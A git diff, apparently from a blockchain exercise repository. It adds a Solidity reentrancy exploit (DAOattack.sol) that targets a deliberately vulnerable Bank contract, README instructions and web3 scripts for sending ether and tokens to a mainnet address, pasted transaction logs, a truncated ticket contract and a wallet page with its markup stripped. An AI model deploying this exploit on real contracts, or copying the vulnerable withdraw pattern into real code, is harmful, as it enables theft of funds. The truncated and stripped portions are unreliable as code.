diff --git a/DAOattack.sol b/DAOattack.sol new file mode 100644 index 0000000..1489b43 --- /dev/null +++ b/DAOattack.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.4.16; + +contract Bank { + mapping(address => uint256) public clients; + uint256 public ethBalance; + + function deposit() public payable { + clients[msg.sender] = msg.value + clients[msg.sender]; + ethBalance = ethBalance + msg.value; + } + + function withdraw(uint256 amount) public { + require(amount <= clients[msg.sender]); + msg.sender.call.value(amount)(); + ethBalance = ethBalance - amount; + clients[msg.sender] = clients[msg.sender] - amount; + } +} + +contract attack { + bool public is_attack=true; + address public bankAddress; + + Bank public B; + + constructor(address _bankAddress) public{ + bankAddress=_bankAddress; + B = Bank(bankAddress); + + } + + function() public payable { + if (is_attack == true){ + is_attack = false; + B.withdraw(1 ether); + } + + } + function deposit11() public payable{ + + B.deposit.value(msg.value)(); + } + + function withdraw11() public{ + + B.withdraw(1 ether); + msg.sender.transfer(this.balance); + + } + +} diff --git a/README.md b/README.md index dadbc8a..634d6b1 100644 --- a/README.md +++ b/README.md @@ -20,3 +20,101 @@ 1. using web3 on mainnet, transfer all tokens and eth to my address `0xea9568670a5fE44D42e76386d208165c25A320f7` 1. do a pull request with your web3 code 1. do a pull request with your record of prices and transactions costs + +Eth address: 0xdf66b18b04bCaDb2712bC7D7F4657fbe94A76953 + +Tx---- +TxHash:0xe847a1243644f0e8518b4d3898c09bfaadef4e01ae3bfb9b7963fee00f1e47ff TxReceipt Status:SuccessBlock Height:6191977 (93 block confirmations)TimeStamp:22 mins ago (Aug-22-2018 07:06:55 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:Contract 0xe41d2489571d322189246dafa5ebde1f4699f498 (ZRX_Token) Token Transfered: + From 0x4da36e7948c692be53010a626359bc47c317813dTo 0xea9568670a5fe44d42e76386d208165c25a320f7for 36.194 ($25.78) ZRX +Value: 0 Ether ($0.00) Gas Limit: 200000 Gas Used By Txn: 37106 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00011168906 Ether ($0.03) Nonce & {Position}:17 | {24} Input Data: + +Function: transfer(address _to, uint256 _value) + +MethodID: 0xa9059cbb +[0]: 000000000000000000000000ea9568670a5fe44d42e76386d208165c25a320f7 +[1]: 000000000000000000000000000000000000000000000001f64aeb3c687d0000 +-------------- + +TxHash:0x5f4ea2502cd852732b6ca6d9b915a05c60eaec839241ecf507ef994481a11594 TxReceipt Status:SuccessBlock Height:6191807 (276 block confirmations)TimeStamp:1 hr 4 mins ago (Aug-22-2018 06:27:10 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:0xea9568670a5fe44d42e76386d208165c25a320f7 Value: 0.116 Ether ($32.96) Gas Limit: 200000 Gas Used By Txn: 21004 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00006322204 Ether ($0.02) Nonce & {Position}:12 | {62} Input Data: + +0x00 + + -------------- + + TxHash:0xd1df648f2a9a1dcd2926eb4498fabfdf7d7e6f0e331d09b1d4569274bb153330 TxReceipt Status:SuccessBlock Height:6191098 (990 block confirmations)TimeStamp:4 hrs ago (Aug-22-2018 03:32:27 AM +UTC)From:0xfeb7a31cad312cd05e8103b2f820ffc58dc31ef0To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.0095431 Ether ($2.71) Gas Limit: 22000 Gas Used By Txn: 21004 Gas Price: 0.000000009 Ether (9 Gwei) Actual Tx Cost/Fee: 0.000189036 Ether ($0.05) Nonce & {Position}:1 | {25} Input Data: + +0x00 +------------- + +TxHash:0xc1a4880ffb9de43b1fbf73410ae9ac53f087257b6b5712fc5d3086e7c04ee17a TxReceipt Status:SuccessBlock Height:6191953 (142 block confirmations)TimeStamp:32 mins ago (Aug-22-2018 07:02:23 AM +UTC)From:0xea9568670a5fe44d42e76386d208165c25a320f7To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.01 Ether ($2.84) Gas Limit: 21000 Gas Used By Txn: 21000 Gas Price: 0.00000000310001 Ether (3.10001 Gwei) Actual Tx Cost/Fee: 0.00006510021 Ether ($0.02) Nonce & {Position}:8 | {110} Input Data: + +0x + +Private Note: + +------- +main-tx.js ETH transfer + +let Web3 = require('web3'); +let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/')); +let util = require('ethereumjs-util'); +let tx = require('ethereumjs-tx'); +let privateKey = ''; +let publicKey = util.bufferToHex(util.privateToPublic(privateKey)); +let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26); + +util.bufferToHex(util.privateToAddress(privateKey)) +transactionCount = web3.eth.getTransactionCount(address); +let rawTx = { + nonce: web3.toHex(transactionCount), + gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')), + gasLimit: web3.toHex(200000), + to: '0xea9568670a5fE44D42e76386d208165c25A320f7', + value: web3.toHex(web3.toWei('0.116','ether')), + data: '0x0', + chainId: web3.toHex(1), +}; +let transactionCount = web3.eth.getTransactionCount(address); +let transaction = new tx(rawTx); +util.bufferToHex(transaction.serialize()); +util.bufferToHex(util.sha3(util.bufferToHex(transaction.serialize()))); +let p = new Buffer(privateKey.slice(2), 'hex'); +transaction.sign(p); +util.bufferToHex(transaction.hash(true)); +let signedTx = util.bufferToHex(transaction.serialize()); +web3.eth.sendRawTransaction(signedTx); +console.log(result) + +------ +token-tx.js TOKEN TRANSFER + +let Web3 = require('web3'); +let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/')); +let util = require('ethereumjs-util'); +let tx = require('ethereumjs-tx'); +let privateKey = ''; +let publicKey = util.bufferToHex(util.privateToPublic(privateKey)); +let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26); + +util.bufferToHex(util.privateToAddress(privateKey)) +let p = new Buffer(privateKey.slice(2), 'hex'); +let utils = require('web3-utils'); + +transactionCount = web3.eth.getTransactionCount(address); +let rawTx = { + nonce: web3.toHex(transactionCount), + gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')), + gasLimit: web3.toHex(200000), + to: '0xa3d58c4e56fedcae3a7c43a725aee9a71f0ece4e', + value: web3.toHex(0), + data: '0xa9059cbb' + '000000000000000000000000ea9568670a5fE44D42e76386d208165c25A320f7' + utils.padLeft(web3.toHex(web3.toWei(39.94, 'ether')),64).substring(2,), + chainId: web3.toHex(1), +}; +transaction = new tx(rawTx); +transaction.sign(p); +signedTx = util.bufferToHex(transaction.serialize()); +res= web3.eth.sendRawTransaction(signedTx); +console.log(res) + +----------------------------------------------- + diff --git a/contract/tickets.sol b/contract/tickets.sol new file mode 100644 index 0000000..aa2f74e --- /dev/null +++ b/contract/tickets.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.4.18; +contract HelloWorld { + + + struct user{ + address sender; + uint balance; + uint ticket; + } + + user[] public users; + + address public owner; + uint256 public totalTickets = 0; +// uint256 sumBalance = 0; + + constructor() public { + owner = msg.sender; + } + user userA; + function buy() public payable{ //buy tickets + userA.sender = msg.sender; + userA.ticket = msg.value; + users.push(userA); + + totalTickets += userA.ticket; + + uint totalUsers = users.length; + for(uint itr=0;itr< totalUsers; itr++ ) + users[itr].balance += 99*msg.value*users[itr].ticket/(totalTickets*100); + + } + + function redeem() public payable{ + uint totalUsers = users.length; + for(uint32 itr =0 ; itr + + + Welcome to Vue + + + +
+

{{ greeting }}

+
+
+ address: + +

balance is: {{ balance }}

+ +
+
+

send transaction

+ +
address
+ + + +
nonce
+ + + +
data
+ + + +
gasPrice
+ + +
gasLimit
+ + +

tx id: {{ txid }}

+ +
+
+

send all ether

+
address
+ +

tx id: {{ txid3 }}

+ +
+
+

send all tokens

+
address
+ +

tx id: {{ txid4 }}

+ +
+ + + + + + diff --git a/my-eth-wallet/serve.js b/my-eth-wallet/serve.js new file mode 100644 index 0000000..5f0dd5b --- /dev/null +++ b/my-eth-wallet/serve.js @@ -0,0 +1,9 @@ +var express = require('express'); +var app = express(); + +//setting middleware +app.use(express.static(__dirname+'/public')); //Serves resources from public folder + +var server = app.listen(5000); + +console.log('http://localhost:5000/index-metamask.html');